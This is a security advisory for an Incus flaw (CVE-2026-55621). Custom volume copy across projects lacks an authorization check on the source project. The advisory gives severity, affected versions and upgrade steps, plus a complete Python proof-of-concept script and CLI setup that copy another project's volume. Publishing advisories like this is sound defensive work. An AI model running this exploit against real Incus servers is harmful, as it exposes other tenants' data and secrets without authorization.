GHSA-64f3-v33m-w89f CVE-2026-55621 GO-2026-6318
Incus has a project restriction bypass for custom volume copy across projects
- Severity
- 7.7 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.34%
- Chance of exploitation in the next 30 days. Higher than 27.56% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-284 Improper Access Control
- Fix
7.2.0- Upgrade github.com/lxc/incus/v7 to this version or later
Description
Summary
Missing authorization checks exist for custom volume copying where an attacker who knows the name of a project that they don't have access to and the name of a custom volume in that project can copy the custom volume to a new project. This issue could allow an attacker to access secrets in custom volumes they are not authorized to access.
Details
The storage volume creation handler authorizes creation in the target project, then passes req.Source.Project into the custom-volume copy path without checking that the caller can view the source volume. req.Source.Project is the attacker-controlled field. It is resolved to a storage volume project name and passed directly to CreateCustomVolumeFromCopy. No allowPermission or entitlement check (e.g. CanView on the source volume) is performed.
The copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the volume to another server.
PoC
Setup
Assume the target server is remotely accessible and a user/certificate has been added.
# create a new project and instance
incus project create secrets
incus profile show default | incus --project secrets edit default
incus --project secrets storage volume create default secret-vol
# restrict an existing certificate to prevent access to the project
incus config trust edit cert-fp
#> set, for example
restricted: true
projects:
- default
# verification, with the restricted certificate
incus --project secrets storage volume ls remote:default
Exploitation
The below script was partly generated. To copy the secret instance to the default project, the following command can be used.
python3 poc.py --url https://IP-REMOTE:8443 \
--cert path/to/client.crt --key path/to/client.key \
--target-project default --source-project secrets \
--source-volume secret-vol --name copy-secret-vol \
--pool default --source-pool default \
--insecure
Wait a bit for the custom volume to be copied, then incus storage volume ls remote:default to see the copied instance.
#!/usr/bin/env python3
"""Copy a custom storage volume from another project into an allowed project."""
from __future__ import annotations
import argparse
import json
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request
def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:
ctx = ssl.create_default_context()
if insecure:
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.load_cert_chain(cert, key)
req = urllib.request.Request(
url.rstrip("/") + path,
data=json.dumps(body).encode(),
method="POST",
headers={"Content-Type": "application/json", "Accept": "application/json"},
)
try:
with urllib.request.urlopen(req, context=ctx) as resp:
return resp.read()
except urllib.error.HTTPError as exc:
sys.stderr.write(exc.read().decode(errors="replace") + "\n")
raise
def main() -> int:
ap = argparse.ArgumentParser()
ap.add_argument("--url", required=True)
ap.add_argument("--cert", required=True)
ap.add_argument("--key", required=True)
ap.add_argument("--pool", required=True)
ap.add_argument("--target-project", required=True)
ap.add_argument("--source-project", required=True)
ap.add_argument("--source-volume", required=True)
ap.add_argument("--source-pool")
ap.add_argument("--name", required=True, help="new volume name in target project")
ap.add_argument("--content-type", default="filesystem", choices=["filesystem", "block"])
ap.add_argument("--volume-only", action="store_true")
ap.add_argument("--insecure", action="store_true")
ap.add_argument("--dry-run", action="store_true")
args = ap.parse_args()
source = {
"type": "copy",
"name": args.source_volume,
"project": args.source_project,
"volume_only": args.volume_only,
}
if args.source_pool:
source["pool"] = args.source_pool
body = {
"name": args.name,
"type": "custom",
"content_type": args.content_type,
"source": source,
}
path = "/1.0/storage-pools/{}/volumes/custom?{}".format(
urllib.parse.quote(args.pool, safe=""),
urllib.parse.urlencode({"project": args.target_project}),
)
print(json.dumps(body, indent=2))
if args.dry_run:
return 0
print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace"))
return 0
if __name__ == "__main__":
raise SystemExit(main())
Impact
An attacker can copy instances they don't normally have access to, possibly leading to information disclosure.
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/lxc/incus | <= 0.7.0 |
No fix yet |
| github.com/lxc/incus | all versions |
No fix yet |
| github.com/lxc/incus/v6 | <= 6.23.0 |
No fix yet |
| github.com/lxc/incus/v6 | all versions |
No fix yet |
| github.com/lxc/incus/v7 | < 7.2.0 |
7.2.0 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
github.com/lxc/incus/v7 Go → 7.2.0
- go
go get github.com/lxc/incus/v7@v7.2.0 && go mod tidy
Severity breakdown
CVSS 3.1 7.7
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Changed
- Confidentiality
- High
- Integrity
- None
- Availability
- None
Weakness
CWE-284: Improper Access Control
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
How to prevent it
- Architecture and Design, Operation: Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
- Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GO-2026-6319 Incus has a project restriction bypass in instance copy across projects | High | Also affects github.com/lxc/incus |
| GO-2026-5806 Incus has an arbitrary file write on its client due to trusted image hash | Critical | Also affects github.com/lxc/incus |
| GO-2026-5810 Incus: CreateCustomVolumeFromBackup nil-pointer dereference on volume_snapshots[*].expires_at (sibling-field variant of GHSA-r7w7) | Low | Also affects github.com/lxc/incus |
| GO-2026-5808 Incus has an argument injection in backup compression algorithm leading to AFW and ACE | Critical | Also affects github.com/lxc/incus |
| GO-2026-5800 Incus: Nil-pointer dereference in createDependentVolumesFromBackup on disk.{Volume,VolumeSnapshots,Pool} | Low | Also affects github.com/lxc/incus |
| GO-2026-5802 Incus has an arbitrary file write via path traversal in S3 multipart upload | Critical | Also affects github.com/lxc/incus |
| GO-2026-5803 Incus has arbitrary file read+write on host via templates/ symlink in malicious image | Critical | Also affects github.com/lxc/incus |
| GO-2026-5799 Incus has a restricted project bypass leading to arbitrary command execution | Critical | Also affects github.com/lxc/incus |
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